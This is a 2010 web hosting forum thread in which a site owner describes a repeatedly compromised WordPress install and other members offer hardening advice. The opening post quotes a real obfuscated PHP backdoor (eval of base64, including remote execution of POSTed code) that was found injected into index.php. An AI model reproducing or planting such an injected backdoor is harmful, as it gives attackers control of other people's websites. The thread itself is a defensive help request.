Web Hosting Forum | Lunarpages


*
Welcome, Guest. Please login or register.
Did you miss your activation email?



Login with username, password and session length
February 09, 2012, 07:28:08 PM

Pages: [1]   Go Down
  Print  
Author Topic: Frequent Security Breaches Wordpress/PHP on Sedna  (Read 3545 times)
ashton
Trekkie
**
Offline Offline

Posts: 15


« on: February 11, 2010, 06:32:40 AM »

I've been having a LOT of trouble with a particular client hosting site. We've been developing a business website using Wordpress as a backend to take advantage of the Content Management system. Pretty much since the first day or 2 we set this site up we've been having rampant problems with things mysteriously breaking overnight, coming in in the morning to find that the Admin Dashboard is completely scrambled one day, the next day finding the entire site gone (the dreaded Wordpress 'White Screen of Death').

The domain in question is www.heatherapy.com

The Wordpress installation (under development, so not at the top level now) is www.heatherapy.com/2010

After the last major problem, I was sure to create a local backup for quick restores (Just did this yesterday morning).

Today, I came in once again to find the Admin Dashboard was all scrambled. This after the site had sat untouched by anyone overnight. I couldn't understand why a website would suddenly become unfunctional after simply sitting idle.

I took a look at the files on the server, and compared them to my local backup (taken yesterday) and discovered that DOZENS of PHP files within the Wordpress install had been mysteriously changed overnight. I compared some of these 'tampered' files with the originals, and found most, if not all of them had random strings of code mysteriously written at the top of the PHP file.

Here's an example of what I found stuck into the index.php file ... All this gibberish wasn't in the local version in my backup, can't figure out how it got there.
Quote
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZzh1OScpKXtmdW5jdGlvbiBnOHU5KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMn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3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZzh1OScpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRnOHU5bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignZzh1OTInKSkhPSdnOHU5MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>

Starting to get very annoyed at this, I dug a little deeper, and looked through the FTP logs and discovered that not just one, but numerous IP addresses had been accessing the site and FTP'ing modified files to our own server.

Now we did have a similar problem a few weeks back with HTML files on our site being modified, at the time our password was weak, so we changed it to be safe. No problems for awhile, but now this is happening again. I've changed the password again (this time to an even Stronger random generated password) so we'll have to wait and see if this keeps the vandals out.

Considering all of the above .... are there any further secuirty steps I can take on my end to lock out vandals from tampering with this account? Are there any security issues on Sedna itself that could be causing these frequent and aggressive security breaches? If so is it possible to have this account moved off to a different hosting server? I have had more problems with this one particular account hosted on Sedna, than I have with any of my other accounts. As a matter of fact, right now I'm having difficulty connecting to the site (keeps timing out) for the second time in the past week.
« Last Edit: February 11, 2010, 10:41:50 AM by ashton » Logged
jimlongo
Intergalactic Superstar
*****
Offline Offline

Posts: 125



WWW
« Reply #1 on: February 11, 2010, 01:47:02 PM »

You need to make sure you have the latest version of WordPress.

Another suggestion for most web applications would be to make entry to the administrative area restricted.
Logged

Mitch
Berserker Poster
*****
Offline Offline

Posts: 12838


WWW
« Reply #2 on: February 11, 2010, 01:47:57 PM »

I would suggest checking through this guide here for more general advice:

http://wiki.lunarpages.com/Web_Site_Security_Breaches

also, contact support@lunarpages.com or submit a help desk ticket, and they can help with the server side of things.  Chances are there was some vulnerability on your account that somebody was able to find and take advantage of. Let us know how things go here though, and let us know if you have any other general questions we can help out with.
Logged

New to Web Site Hosting? Check Out the Lunarpages Blog Hosting Guide!


Follow us @lunarpages on Twitter!
Important Threads: Read This Before Posting! | Lunarforums Rules! | Mitch's Link of the Day!
Also, be sure to check out and subscribe to the Lunartics Blog and the Lunarpages Newsletter !

Need Web Hosting Help? Check out the Lunarpages Web Hosting Wiki. It has tons of tips, tutorials and resources!
ashton
Trekkie
**
Offline Offline

Posts: 15


« Reply #3 on: February 11, 2010, 04:04:22 PM »

I'm running Wordpress 2.9.1 and currently have no plugins installed while I get all this mess sorted out.

I've read just about everything on here, and have instituted changes such as restricting access to wp-admin with .htaccess, as well as changing all passwords to Very Strong secure passwords.

Help ticket was useless ... I got a canned response telling me to do everything I'd already done.

What else can I do? Is it just wait and see if the fixes I've made work?
Logged
Mitch
Berserker Poster
*****
Offline Offline

Posts: 12838


WWW
« Reply #4 on: February 12, 2010, 05:15:56 AM »

Might also check your file/folder permissions, if you haven't already.  Folders should be set no higher than 755 and files should be set no higher than 644.
Logged

New to Web Site Hosting? Check Out the Lunarpages Blog Hosting Guide!


Follow us @lunarpages on Twitter!
Important Threads: Read This Before Posting! | Lunarforums Rules! | Mitch's Link of the Day!
Also, be sure to check out and subscribe to the Lunartics Blog and the Lunarpages Newsletter !

Need Web Hosting Help? Check out the Lunarpages Web Hosting Wiki. It has tons of tips, tutorials and resources!
DEddleman
Spacescooter Operator
*****
Offline Offline

Posts: 34


Elite!


« Reply #5 on: February 12, 2010, 05:59:40 AM »

You can also make your admin area even more secure by using an .htpasswd lock-down on it. That way before you can even view the admin area you have to enter a password. A hassle, I know, but if they're targeting your site specifically you shouldn't have to do this long.
Logged

MrPhil
Berserker Poster
*****
Offline Offline

Posts: 5083



« Reply #6 on: February 12, 2010, 08:25:12 AM »

I don't know if it's the same vulnerability, but on the osCommerce discussion group they recommend both changing the name of the admin directory tree to something else (unique to you, and unguessable) and password protecting the (renamed) admin directory. In osC the admin name is declared in a PHP file, so it's only one place to change -- dunno about WP.

Over on Simple Machines Forum (SMF) they had a problem (fixed as of 1.1.11) with hackers signing up and placing PHP or script code in their avatars. The fix involves adding .htaccess code to the avatar/attachments directory to bar the running of any code within that directory. There are also checks in place to scan uploaded avatar images for code.

If the WP developers are doing their job, they're checking and validating all user input to make sure no SQL or PHP injections can take place. If you're still being attacked after all this, it probably means the hacker has direct access into your files, through a stolen password (have you scanned your PC(s) for spyware such as password sniffers and keystroke loggers?), too-liberal directory permissions (suPHP should prevent "world-writable" files or directories), or an internal breach at LP (not good news).
Logged

ashton
Trekkie
**
Offline Offline

Posts: 15


« Reply #7 on: February 13, 2010, 05:31:16 AM »

Cool. THanks for the additional suggestions .... I'll secure up as much as I can.


So far I've gone 2 days without any issues since wiping and restoring everything, so I'm hoping that maybe this is the end of them .... I'm guessing there may have been a backdoor stashed away deep somewhere that I finally managed to dig out with the total cleaning.

I'll stay vigilant.
Logged
Pages: [1]   Go Up
  Print  
 
Jump to: